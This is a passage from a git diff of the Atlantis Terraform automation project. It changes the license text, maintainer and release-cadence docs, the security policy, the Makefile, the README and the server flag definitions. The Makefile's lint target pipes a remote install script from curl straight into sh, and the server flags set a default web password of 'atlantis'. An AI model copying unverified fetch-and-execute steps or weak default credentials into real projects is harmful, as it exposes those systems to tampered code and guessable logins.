Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. - -In 2018 it was forked from github.com/hootsuite/atlantis to -github.com/runatlantis/atlantis. The contents of files created before the fork -are obviously still under the Hootsuite copyright and contain a header to that -effect in addition to a disclaimer that they have subsequently been modified by -contributors to github.com/runatlantis/atlantis. Modifications and new files -hereafter are still under the Apache 2.0 license, but are not under copyright of -Hootsuite Media Inc. + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/MAINTAINERS.md b/MAINTAINERS.md new file mode 100644 index 0000000000..d590cf3e02 --- /dev/null +++ b/MAINTAINERS.md @@ -0,0 +1,8 @@ +The current Maintainers Group for the [Atlantis] Project consists of: + +| Name | GitHub ID | Employer | Responsibilities | +| ------------- | ------------------------------------------- | ----------------- | ---------------- | +| Dylan Page | [GenPage](https://github.com/GenPage) | Lambda | Maintainer | +| PePe Amengual | [jamengual](https://github.com/jamengual) | Slalom | Maintainer | +| Rui Chen | [chenrui333](https://github.com/chenrui333) | Meetup | Maintainer | +| Ronak | [nitrocode](https://github.com/nitrocode) | RB Consulting LLC | Core Contributor | diff --git a/Makefile b/Makefile index e0725bd2d7..0c05d95b4a 100644 --- a/Makefile +++ b/Makefile @@ -1,80 +1,116 @@ BUILD_ID := $(shell git rev-parse --short HEAD 2>/dev/null || echo no-commit-id) WORKSPACE := $(shell pwd) -PKG := $(shell go list ./... | grep -v e2e | grep -v vendor | grep -v static | grep -v mocks | grep -v testing) -PKG_COMMAS := $(shell go list ./... | grep -v e2e | grep -v vendor | grep -v static | grep -v mocks | grep -v testing | tr '\n' ',') +PKG := $(shell go list ./... | grep -v e2e | grep -v static | grep -v mocks | grep -v testing) +PKG_COMMAS := $(shell go list ./... | grep -v e2e | grep -v static | grep -v mocks | grep -v testing | tr '\n' ',') IMAGE_NAME := runatlantis/atlantis -.PHONY: test - .DEFAULT_GOAL := help + +# renovate: datasource=github-releases depName=golangci/golangci-lint +GOLANGCI_LINT_VERSION := v1.64.4 + +.PHONY: help help: ## List targets & descriptions - @cat Makefile* | grep -E '^[a-zA-Z_-]+:.*?## .*$$' | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' + @cat Makefile* | grep -E '^[a-zA-Z\/_-]+:.*?## .*$$' | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' +.PHONY: id id: ## Output BUILD_ID being used @echo $(BUILD_ID) +.PHONY: debug debug: ## Output internal make variables @echo BUILD_ID = $(BUILD_ID) @echo IMAGE_NAME = $(IMAGE_NAME) @echo WORKSPACE = $(WORKSPACE) @echo PKG = $(PKG) +.PHONY: build-service build-service: ## Build the main Go service - CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -mod=vendor -v -o atlantis . + CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -v -o atlantis . + +.PHONY: build +build: build-service ## Runs make build-service + +.PHONY: all +all: build-service ## Runs make build-service +.PHONY: clean +clean: ## Cleans compiled binary + @rm -f atlantis + +.PHONY: go-generate go-generate: ## Run go generate in all packages - go generate $(PKG) + ./scripts/go-generate.sh -regen-mocks: ## Delete all mocks and matchers and then run go generate to regen them. - find . -type f | grep mocks/mock_ | grep -v vendor | xargs rm - find . -type f | grep mocks/matchers | grep -v vendor | xargs rm +.PHONY: regen-mocks +regen-mocks: ## Delete and regenerate all mocks + find . -type f | grep mocks/mock_ | xargs rm + find . -type f | grep mocks/matchers | xargs rm @# not using $(PKG) here because that includes directories that have now @# been made empty, causing go generate to fail. - go list ./... | grep -v e2e | grep -v vendor | grep -v static | xargs go generate + ./scripts/go-generate.sh +.PHONY: test test: ## Run tests - @go test -mod=vendor -short $(PKG) + @go test -short $(PKG) + +.PHONY: docker/test +docker/test: ## Run tests in docker + docker run -it -v $(PWD):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c "cd /atlantis && make test" +.PHONY: test-all test-all: ## Run tests including integration - @go test -mod=vendor $(PKG) + @go test $(PKG) -test-coverage: +.PHONY: docker/test-all +docker/test-all: ## Run all tests in docker + docker run -it -v $(PWD):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c "cd /atlantis && make test-all" + +.PHONY: test-coverage +test-coverage: ## Show test coverage @mkdir -p .cover @go test -covermode atomic -coverprofile .cover/cover.out $(PKG) -test-coverage-html: +.PHONY: test-coverage-html +test-coverage-html: ## Show test coverage and output html @mkdir -p .cover @go test -covermode atomic -coverpkg $(PKG_COMMAS) -coverprofile .cover/cover.out $(PKG) go tool cover -html .cover/cover.out -dev-docker: - GOOS=linux GOARCH=amd64 go build -mod=vendor -o atlantis . - docker build -f dev-Dockerfile -t atlantis-dev . - -dist: ## Package up everything in static/ using go-bindata-assetfs so it can be served by a single binary - rm -f server/static/bindata_assetfs.go && go-bindata-assetfs -pkg static -prefix server server/static/... && mv bindata_assetfs.go server/static +.PHONY: docker/dev +docker/dev: ## Build dev Dockerfile as atlantis-dev + GOOS=linux GOARCH=amd64 go build -o atlantis . + docker build -f Dockerfile.dev -t atlantis-dev . +.PHONY: release release: ## Create packages for a release - docker run -v $$(pwd):/go/src/github.com/runatlantis/atlantis circleci/golang:1.14 sh -c 'cd /go/src/github.com/runatlantis/atlantis && scripts/binary-release.sh' + docker run -v $$(pwd):/go/src/github.com/runatlantis/atlantis cimg/go:1.20 sh -c 'cd /go/src/github.com/runatlantis/atlantis && scripts/binary-release.sh' +.PHONY: fmt fmt: ## Run goimports (which also formats) - goimports -w $$(find . -type f -name '*.go' ! -path "./vendor/*" ! -path "./server/static/bindata_assetfs.go" ! -path "**/mocks/*") + goimports -w $$(find . -type f -name '*.go' ! -path "./vendor/*" ! -path "**/mocks/*") +.PHONY: lint lint: ## Run linter locally golangci-lint run +.PHONY: check-lint check-lint: ## Run linter in CI/CD. If running locally use 'lint' - curl -sfL https://install.goreleaser.com/github.com/golangci/golangci-lint.sh | sh -s -- -b ./bin v1.23.8 - ./bin/golangci-lint run -j 4 + curl -sfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b ./bin $(GOLANGCI_LINT_VERSION) + ./bin/golangci-lint run -j 4 --timeout 5m +.PHONY: check-fmt check-fmt: ## Fail if not formatted - if [[ $$(goimports -l $$(find . -type f -name '*.go' ! -path "./vendor/*" ! -path "./server/static/bindata_assetfs.go" ! -path "**/mocks/*")) ]]; then exit 1; fi + ./scripts/fmt.sh +.PHONY: end-to-end-deps end-to-end-deps: ## Install e2e dependencies ./scripts/e2e-deps.sh +.PHONY: end-to-end-tests end-to-end-tests: ## Run e2e tests ./scripts/e2e.sh -website-dev: - yarn website:dev +.PHONY: website-dev +website-dev: ## Run runatlantic.io on localhost:8080 + npm run website:dev diff --git a/README.md b/README.md index a465ca4f47..b6571901e4 100644 --- a/README.md +++ b/README.md @@ -1,33 +1,42 @@ -# Atlantis +# Atlantis + +[![Latest Release](https://img.shields.io/github/release/runatlantis/atlantis.svg)](https://github.com/runatlantis/atlantis/releases/latest) +[![SuperDopeBadge](./runatlantis.io/public/hightower-super-dope.svg)](https://twitter.com/kelseyhightower/status/893260922222813184) +[![Go Report Card](https://goreportcard.com/badge/github.com/runatlantis/atlantis)](https://goreportcard.com/report/github.com/runatlantis/atlantis) +[![Go Reference](https://pkg.go.dev/badge/github.com/runatlantis/atlantis.svg)](https://pkg.go.dev/github.com/runatlantis/atlantis) +[![Slack](https://img.shields.io/badge/Join-Atlantis%20Community%20Slack-red)](https://slack.cncf.io/) +[![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/runatlantis/atlantis/badge)](https://scorecard.dev/viewer/?uri=github.com/runatlantis/atlantis) +[![OpenSSF Best Practices](https://www.bestpractices.dev/projects/9428/badge)](https://www.bestpractices.dev/projects/9428)

- Atlantis Logo

+ Atlantis Logo

Terraform Pull Request Automation

+- [Resources](#resources) +- [What is Atlantis?](#what-is-atlantis) +- [What does it do?](#what-does-it-do) +- [Why should you use it?](#why-should-you-use-it) +- [Stargazers over time](#stargazers-over-time) + ## Resources * How to get started: [www.runatlantis.io/guide](https://www.runatlantis.io/guide) * Full documentation: [www.runatlantis.io/docs](https://www.runatlantis.io/docs) * Download the latest release: [github.com/runatlantis/atlantis/releases/latest](https://github.com/runatlantis/atlantis/releases/latest) -* Get help in our [Slack channel](https://thawing-headland-22460.herokuapp.com) or our [Gitter channel](https://gitter.im/runatlantis/Lobby) +* Get help in our [Slack channel](https://slack.cncf.io/) in channel #atlantis and development in #atlantis-contributors * Start Contributing: [CONTRIBUTING.md](CONTRIBUTING.md) ## What is Atlantis? A self-hosted golang application that listens for Terraform pull request events via webhooks. ## What does it do? -Runs `terraform plan` and `apply` remotely and comments back on the pull request with the output. +Runs `terraform plan`, `import`, `apply` remotely and comments back on the pull request with the output. ## Why should you use it? * Make Terraform changes visible to your whole team. * Enable non-operations engineers to collaborate on Terraform. * Standardize your Terraform workflows. -## Badges! -[![SuperDopeBadge](./runatlantis.io/.vuepress/public/hightower-super-dope.svg)](https://twitter.com/kelseyhightower/status/893260922222813184) -[![Go Report Card](https://goreportcard.com/badge/github.com/runatlantis/atlantis)](https://goreportcard.com/report/github.com/runatlantis/atlantis) -[![codecov](https://codecov.io/gh/runatlantis/atlantis/branch/master/graph/badge.svg)](https://codecov.io/gh/runatlantis/atlantis) -[![CircleCI](https://circleci.com/gh/runatlantis/atlantis/tree/master.svg?style=shield)](https://circleci.com/gh/runatlantis/atlantis/tree/master) -[![Docker Image Metadata](https://images.microbadger.com/badges/image/runatlantis/atlantis.svg)](https://microbadger.com/images/runatlantis/atlantis) -[![Slack](https://img.shields.io/badge/Join-Atlantis%20Community%20Slack-red)](https://join.slack.com/t/atlantis-community/shared_invite/enQtNzc4NDM3OTA3ODI0LTA5NDQ4YTA3NTAxM2I3ZmIxMGNiYWJhNmY4YjBjZjM3OWMzNGI0NTcxNzY2NjRhODIyODA4YmNjOTBiOThhNTI) -[![Gitter chat](https://badges.gitter.im/runatlantis.png)](https://gitter.im/runatlantis) +## Stargazers over time + +[![Stargazers over time](https://starchart.cc/runatlantis/atlantis.svg)](https://starchart.cc/runatlantis/atlantis) diff --git a/RELEASE_CADENCE.md b/RELEASE_CADENCE.md new file mode 100644 index 0000000000..a953a0eb81 --- /dev/null +++ b/RELEASE_CADENCE.md @@ -0,0 +1,70 @@ +# Release Cadence + +## Overview + +Atlantis follows a **monthly release cadence** to provide regular, predictable updates while maintaining stability for users. + +## Release Schedule + +- **Frequency**: Once per month +- **Timing**: First week OR last week of every month (but only once per month) +- **Release Day**: Typically Tuesday or Wednesday to allow for weekend buffer + +## Versioning + +Atlantis follows [Semantic Versioning](https://semver.org/) (SemVer): + +- **Major releases** (x.0.0): Breaking changes +- **Minor releases** (0.x.0): New features, backward compatible +- **Patch releases** (0.0.x): Bug fixes and security patches + +## Release Branches + +- **Main branch**: Contains the latest development work +- **Release branches**: Created for major/minor releases (e.g., `release-0.20`) +- **Hotfixes**: Applied to both main and relevant release branches + +## Communication + +- **Release Announcements**: Posted on GitHub Releases and community channels +- **Breaking Changes**: Clearly documented in release notes and migration guides +- **Security Updates**: Immediately communicated through security advisories + +## Release Criteria + +A release is ready when: + +1. ✅ All tests pass +2. ✅ Documentation is updated +3. ✅ Release notes are current +4. ✅ No known critical bugs +5. ✅ Security scan passes +6. ✅ Performance benchmarks are acceptable + +## Emergency Releases + +In case of critical security vulnerabilities or severe bugs: + +1. **Immediate Assessment**: Evaluate severity and impact +2. **Hotfix Development**: Create targeted fix +3. **Expedited Testing**: Focused testing on the fix +4. **Emergency Release**: Release outside normal cadence if necessary + +## Contributing to Releases + +- **Feature Requests**: Submit early in the month for consideration +- **Bug Reports**: Report immediately for faster resolution +- **Testing**: Help test release candidates +- **Documentation**: Contribute to release notes and migration guides + +For detailed information about contributing to Atlantis, see [CONTRIBUTING.md](./CONTRIBUTING.md). + +## Release History + +For detailed information about past releases, see: + +- [GitHub Releases](https://github.com/runatlantis/atlantis/releases) + +--- + +_This document is maintained by the Atlantis maintainers. For questions about the release process, please open an issue or contact the maintainers._ diff --git a/SECURITY.md b/SECURITY.md index 5f7cb7d2b2..0f989d42de 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -2,4 +2,8 @@ ## Reporting a Vulnerability -We take security issues seriously. Please email us directly at security [at] runatlantis.io instead of opening an issue. +We take security issues seriously. Please report a security vulnerability to the maintainers using [private vulnerability reporting](https://github.com/runatlantis/atlantis/security/advisories/new). + +## Maintained releases + +Only the two latest minor releases are maintained. For example, if `0.29.7` is the latest, then `0.29.x` and `0.28.x` will receive security fixes. diff --git a/cmd/help_fmt.go b/cmd/help_fmt.go index e13d47d617..8ab563c704 100644 --- a/cmd/help_fmt.go +++ b/cmd/help_fmt.go @@ -11,8 +11,10 @@ import ( // usageTmpl returns a cobra-compatible usage template that will be printed // during the help output. // This template prints help like: -// --name= -// +// +// --name= +// +// // We use it over the default template so that the output it easier to read. func usageTmpl(stringFlags map[string]stringFlag, intFlags map[string]intFlag, boolFlags map[string]boolFlag) string { var flagNames []string @@ -114,6 +116,8 @@ Use "{{.CommandPath}} [command] --help" for more information about a command.{{e `, flagHelpOutput) } +// to80CharCols takes a string s as input and returns a new string that is split +// into multiple lines with each line having a maximum of 80 characters func to80CharCols(s string) string { var splitAt80 string splitSpaces := strings.Split(s, " ") diff --git a/cmd/server.go b/cmd/server.go index 9f8832d788..6d8a12e011 100644 --- a/cmd/server.go +++ b/cmd/server.go @@ -21,13 +21,26 @@ import ( "strings" homedir "github.com/mitchellh/go-homedir" + "github.com/moby/patternmatcher" "github.com/pkg/errors" + "github.com/spf13/cobra" + "github.com/spf13/viper" + "github.com/runatlantis/atlantis/server" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" - "github.com/runatlantis/atlantis/server/events/yaml/valid" "github.com/runatlantis/atlantis/server/logging" - "github.com/spf13/cobra" - "github.com/spf13/viper" +) + +// checkout strategies +const ( + CheckoutStrategyBranch = "branch" + CheckoutStrategyMerge = "merge" +) + +// TF distributions +const ( + TFDistributionTerraform = "terraform" + TFDistributionOpenTofu = "opentofu" ) // To add a new flag you must: @@ -36,78 +49,155 @@ import ( // 3. Add your flag's description etc. to the stringFlags, intFlags, or boolFlags slices. const ( // Flag names. - ADWebhookPasswordFlag = "azuredevops-webhook-password" // nolint: gosec - ADWebhookUserFlag = "azuredevops-webhook-user" - ADTokenFlag = "azuredevops-token" // nolint: gosec - ADUserFlag = "azuredevops-user" - AllowForkPRsFlag = "allow-fork-prs" - AllowRepoConfigFlag = "allow-repo-config" - AtlantisURLFlag = "atlantis-url" - AutomergeFlag = "automerge" - BitbucketBaseURLFlag = "bitbucket-base-url" - BitbucketTokenFlag = "bitbucket-token" - BitbucketUserFlag = "bitbucket-user" - BitbucketWebhookSecretFlag = "bitbucket-webhook-secret" - ConfigFlag = "config" - CheckoutStrategyFlag = "checkout-strategy" - DataDirFlag = "data-dir" - DefaultTFVersionFlag = "default-tf-version" - DisableApplyAllFlag = "disable-apply-all" - DisableApplyFlag = "disable-apply" - DisableAutoplanFlag = "disable-autoplan" - DisableMarkdownFoldingFlag = "disable-markdown-folding" - GHHostnameFlag = "gh-hostname" - GHTokenFlag = "gh-token" - GHUserFlag = "gh-user" - GHAppIDFlag = "gh-app-id" - GHAppKeyFileFlag = "gh-app-key-file" - GHOrganizationFlag = "gh-org" - GHWebhookSecretFlag = "gh-webhook-secret" // nolint: gosec - GitlabHostnameFlag = "gitlab-hostname" - GitlabTokenFlag = "gitlab-token" - GitlabUserFlag = "gitlab-user" - GitlabWebhookSecretFlag = "gitlab-webhook-secret" // nolint: gosec - HidePrevPlanComments = "hide-prev-plan-comments" - LogLevelFlag = "log-level" - ParallelPoolSize = "parallel-pool-size" - AllowDraftPRs = "allow-draft-prs" - PortFlag = "port" - RepoConfigFlag = "repo-config" - RepoConfigJSONFlag = "repo-config-json" - // RepoWhitelistFlag is deprecated for RepoAllowlistFlag. - RepoWhitelistFlag = "repo-whitelist" - RepoAllowlistFlag = "repo-allowlist" - RequireApprovalFlag = "require-approval" - RequireMergeableFlag = "require-mergeable" - SilenceForkPRErrorsFlag = "silence-fork-pr-errors" - SilenceVCSStatusNoPlans = "silence-vcs-status-no-plans" - SilenceAllowlistErrorsFlag = "silence-allowlist-errors" - // SilenceWhitelistErrorsFlag is deprecated for SilenceAllowlistErrorsFlag. - SilenceWhitelistErrorsFlag = "silence-whitelist-errors" - SkipCloneNoChanges = "skip-clone-no-changes" - SlackTokenFlag = "slack-token" - SSLCertFileFlag = "ssl-cert-file" - SSLKeyFileFlag = "ssl-key-file" - TFDownloadURLFlag = "tf-download-url" - VCSStatusName = "vcs-status-name" - TFEHostnameFlag = "tfe-hostname" - TFETokenFlag = "tfe-token" - WriteGitCredsFlag = "write-git-creds" + ADWebhookPasswordFlag = "azuredevops-webhook-password" // nolint: gosec + ADWebhookUserFlag = "azuredevops-webhook-user" + ADTokenFlag = "azuredevops-token" // nolint: gosec + ADUserFlag = "azuredevops-user" + ADHostnameFlag = "azuredevops-hostname" + AllowCommandsFlag = "allow-commands" + AllowForkPRsFlag = "allow-fork-prs" + AtlantisURLFlag = "atlantis-url" + AutoDiscoverModeFlag = "autodiscover-mode" + AutomergeFlag = "automerge" + ParallelPlanFlag = "parallel-plan" + ParallelApplyFlag = "parallel-apply" + AutoplanModules = "autoplan-modules" + AutoplanModulesFromProjects = "autoplan-modules-from-projects" + AutoplanFileListFlag = "autoplan-file-list" + BitbucketBaseURLFlag = "bitbucket-base-url" + BitbucketTokenFlag = "bitbucket-token" + BitbucketUserFlag = "bitbucket-user" + BitbucketWebhookSecretFlag = "bitbucket-webhook-secret" + CheckoutDepthFlag = "checkout-depth" + CheckoutStrategyFlag = "checkout-strategy" + ConfigFlag = "config" + DataDirFlag = "data-dir" + DefaultTFDistributionFlag = "default-tf-distribution" + DefaultTFVersionFlag = "default-tf-version" + DisableApplyAllFlag = "disable-apply-all" + DisableAutoplanFlag = "disable-autoplan" + DisableAutoplanLabelFlag = "disable-autoplan-label" + DisableMarkdownFoldingFlag = "disable-markdown-folding" + DisableRepoLockingFlag = "disable-repo-locking" + DisableGlobalApplyLockFlag = "disable-global-apply-lock" + DisableUnlockLabelFlag = "disable-unlock-label" + DiscardApprovalOnPlanFlag = "discard-approval-on-plan" + EmojiReaction = "emoji-reaction" + EnableDiffMarkdownFormat = "enable-diff-markdown-format" + EnablePolicyChecksFlag = "enable-policy-checks" + EnableRegExpCmdFlag = "enable-regexp-cmd" + EnableProfilingAPI = "enable-profiling-api" + ExecutableName = "executable-name" + FailOnPreWorkflowHookError = "fail-on-pre-workflow-hook-error" + HideUnchangedPlanComments = "hide-unchanged-plan-comments" + GHHostnameFlag = "gh-hostname" + GHTeamAllowlistFlag = "gh-team-allowlist" + GHTokenFlag = "gh-token" + GHTokenFileFlag = "gh-token-file" // nolint: gosec + GHUserFlag = "gh-user" + GHAppIDFlag = "gh-app-id" + GHAppKeyFlag = "gh-app-key" + GHAppKeyFileFlag = "gh-app-key-file" + GHAppSlugFlag = "gh-app-slug" + GHAppInstallationIDFlag = "gh-app-installation-id" + GHOrganizationFlag = "gh-org" + GHWebhookSecretFlag = "gh-webhook-secret" // nolint: gosec + GHAllowMergeableBypassApply = "gh-allow-mergeable-bypass-apply" // nolint: gosec + GiteaBaseURLFlag = "gitea-base-url" + GiteaTokenFlag = "gitea-token" + GiteaUserFlag = "gitea-user" + GiteaWebhookSecretFlag = "gitea-webhook-secret" // nolint: gosec + GiteaPageSizeFlag = "gitea-page-size" + GitlabGroupAllowlistFlag = "gitlab-group-allowlist" + GitlabHostnameFlag = "gitlab-hostname" + GitlabTokenFlag = "gitlab-token" + GitlabUserFlag = "gitlab-user" + GitlabWebhookSecretFlag = "gitlab-webhook-secret" // nolint: gosec + IncludeGitUntrackedFiles = "include-git-untracked-files" + APISecretFlag = "api-secret" + HidePrevPlanComments = "hide-prev-plan-comments" + QuietPolicyChecks = "quiet-policy-checks" + LockingDBType = "locking-db-type" + LogLevelFlag = "log-level" + MarkdownTemplateOverridesDirFlag = "markdown-template-overrides-dir" + MaxCommentsPerCommand = "max-comments-per-command" + ParallelPoolSize = "parallel-pool-size" + StatsNamespace = "stats-namespace" + AllowDraftPRs = "allow-draft-prs" + PortFlag = "port" + RedisDB = "redis-db" + RedisHost = "redis-host" + RedisPassword = "redis-password" + RedisPort = "redis-port" + RedisTLSEnabled = "redis-tls-enabled" + RedisInsecureSkipVerify = "redis-insecure-skip-verify" + RepoConfigFlag = "repo-config" + RepoConfigJSONFlag = "repo-config-json" + RepoAllowlistFlag = "repo-allowlist" + SilenceNoProjectsFlag = "silence-no-projects" + SilenceForkPRErrorsFlag = "silence-fork-pr-errors" + SilenceVCSStatusNoPlans = "silence-vcs-status-no-plans" + SilenceVCSStatusNoProjectsFlag = "silence-vcs-status-no-projects" + SilenceAllowlistErrorsFlag = "silence-allowlist-errors" + SkipCloneNoChanges = "skip-clone-no-changes" + SlackTokenFlag = "slack-token" + SSLCertFileFlag = "ssl-cert-file" + SSLKeyFileFlag = "ssl-key-file" + RestrictFileList = "restrict-file-list" + TFDistributionFlag = "tf-distribution" // deprecated for DefaultTFDistributionFlag + TFDownloadFlag = "tf-download" + TFDownloadURLFlag = "tf-download-url" + UseTFPluginCache = "use-tf-plugin-cache" + VarFileAllowlistFlag = "var-file-allowlist" + VCSStatusName = "vcs-status-name" + IgnoreVCSStatusNames = "ignore-vcs-status-names" + TFEHostnameFlag = "tfe-hostname" + TFELocalExecutionModeFlag = "tfe-local-execution-mode" + TFETokenFlag = "tfe-token" + WriteGitCredsFlag = "write-git-creds" // nolint: gosec + WebhookHttpHeaders = "webhook-http-headers" + WebBasicAuthFlag = "web-basic-auth" + WebUsernameFlag = "web-username" + WebPasswordFlag = "web-password" + WebsocketCheckOrigin = "websocket-check-origin" // NOTE: Must manually set these as defaults in the setDefaults function. - DefaultADBasicUser = "" - DefaultADBasicPassword = "" - DefaultCheckoutStrategy = "branch" - DefaultBitbucketBaseURL = bitbucketcloud.BaseURL - DefaultDataDir = "~/.atlantis" - DefaultGHHostname = "github.com" - DefaultGitlabHostname = "gitlab.com" - DefaultLogLevel = "info" - DefaultParallelPoolSize = 15 - DefaultPort = 4141 - DefaultTFDownloadURL = "https://releases.hashicorp.com" - DefaultTFEHostname = "app.terraform.io" - DefaultVCSStatusName = "atlantis" + DefaultADBasicUser = "" + DefaultADBasicPassword = "" + DefaultADHostname = "dev.azure.com" + DefaultAutoDiscoverMode = "auto" + DefaultAutoplanFileList = "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl" + DefaultAllowCommands = "version,plan,apply,unlock,approve_policies" + DefaultCheckoutStrategy = CheckoutStrategyBranch + DefaultCheckoutDepth = 0 + DefaultBitbucketBaseURL = bitbucketcloud.BaseURL + DefaultDataDir = "~/.atlantis" + DefaultEmojiReaction = "" + DefaultExecutableName = "atlantis" + DefaultMarkdownTemplateOverridesDir = "~/.markdown_templates" + DefaultGHHostname = "github.com" + DefaultGiteaBaseURL = "https://gitea.com" + DefaultGiteaPageSize = 30 + DefaultGitlabHostname = "gitlab.com" + DefaultLockingDBType = "boltdb" + DefaultLogLevel = "info" + DefaultIgnoreVCSStatusNames = "" + DefaultMaxCommentsPerCommand = 100 + DefaultParallelPoolSize = 15 + DefaultStatsNamespace = "atlantis" + DefaultPort = 4141 + DefaultRedisDB = 0 + DefaultRedisPort = 6379 + DefaultRedisTLSEnabled = false + DefaultRedisInsecureSkipVerify = false + DefaultTFDistribution = TFDistributionTerraform + DefaultTFDownloadURL = "https://releases.hashicorp.com" + DefaultTFDownload = true + DefaultTFEHostname = "app.terraform.io" + DefaultVCSStatusName = "atlantis" + DefaultWebBasicAuth = false + DefaultWebUsername = "atlantis" + DefaultWebPassword = "atlantis" ) var stringFlags = map[string]stringFlag{ @@ -129,9 +219,37 @@ var stringFlags = map[string]stringFlag{ description: "Azure DevOps basic HTTP authentication username for inbound webhooks.", defaultValue: "", }, + ADHostnameFlag: { + description: "Azure DevOps hostname to support cloud and self hosted instances.", + defaultValue: "dev.azure.com", + }, + AllowCommandsFlag: { + description: "Comma separated list of acceptable atlantis commands.", + defaultValue: DefaultAllowCommands, + }, AtlantisURLFlag: { description: "URL that Atlantis can be reached at. Defaults to http://$(hostname):$port where $port is from --" + PortFlag + ". Supports a base path ex. https://example.com/basepath.", }, + AutoDiscoverModeFlag: { + description: "Auto discover mode controls whether projects in a repo are discovered by Atlantis. Defaults to 'auto' which " + + "means projects will be discovered when no explicit projects are defined in repo config. Also supports 'enabled' (always " + + "discover projects) and 'disabled' (never discover projects).", + defaultValue: DefaultAutoDiscoverMode, + }, + AutoplanModulesFromProjects: { + description: "Comma separated list of file patterns to select projects Atlantis will index for module dependencies." + + " Indexed projects will automatically be planned if a module they depend on is modified." + + " Patterns use the dockerignore (https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax." + + " A custom Workflow that uses autoplan 'when_modified' will ignore this value.", + defaultValue: "", + }, + AutoplanFileListFlag: { + description: "Comma separated list of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning." + + " Patterns use the dockerignore (https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax." + + " Use single quotes to avoid shell expansion of '*'. Defaults to '" + DefaultAutoplanFileList + "'." + + " A custom Workflow that uses autoplan 'when_modified' will ignore this value.", + defaultValue: DefaultAutoplanFileList, + }, BitbucketUserFlag: { description: "Bitbucket username of API user.", }, @@ -145,7 +263,7 @@ var stringFlags = map[string]stringFlag{ defaultValue: DefaultBitbucketBaseURL, }, BitbucketWebhookSecretFlag: { - description: "Secret used to validate Bitbucket webhooks. Only Bitbucket Server supports webhook secrets." + + description: "Secret used to validate Bitbucket webhooks." + " SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket. " + "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_BITBUCKET_WEBHOOK_SECRET environment variable.", @@ -153,7 +271,7 @@ var stringFlags = map[string]stringFlag{ CheckoutStrategyFlag: { description: "How to check out pull requests. Accepts either 'branch' (default) or 'merge'." + " If set to branch, Atlantis will check out the source branch of the pull request." + - " If set to merge, Atlantis will check out the destination branch of the pull request (ex. master)" + + " If set to merge, Atlantis will check out the destination branch of the pull request (ex. main, master)" + " and then locally perform a git merge of the source branch." + " This effectively means Atlantis operates on the repo as it will look" + " after the pull request is merged.", @@ -166,10 +284,37 @@ var stringFlags = map[string]stringFlag{ description: "Path to directory to store Atlantis data.", defaultValue: DefaultDataDir, }, + DisableAutoplanLabelFlag: { + description: "Pull request label to disable atlantis auto planning feature only if present.", + defaultValue: "", + }, + DisableUnlockLabelFlag: { + description: "Pull request label to disable atlantis unlock feature only if present.", + defaultValue: "", + }, + EmojiReaction: { + description: "Emoji Reaction to use to react to comments.", + defaultValue: DefaultEmojiReaction, + }, + ExecutableName: { + description: "Comment command executable name.", + defaultValue: DefaultExecutableName, + }, GHHostnameFlag: { description: "Hostname of your Github Enterprise installation. If using github.com, no need to set.", defaultValue: DefaultGHHostname, }, + GHTeamAllowlistFlag: { + description: "Comma separated list of key-value pairs representing the GitHub teams and the operations that " + + "the members of a particular team are allowed to perform. " + + "The format is {team}:{command},{team}:{command}. " + + "Valid values for 'command' are 'plan', 'apply' and '*', e.g. 'dev:plan,ops:apply,devops:*'" + + "This example gives the users from the 'dev' GitHub team the permissions to execute the 'plan' command, " + + "the 'ops' team the permissions to execute the 'apply' command, " + + "and allows the 'devops' team to perform any 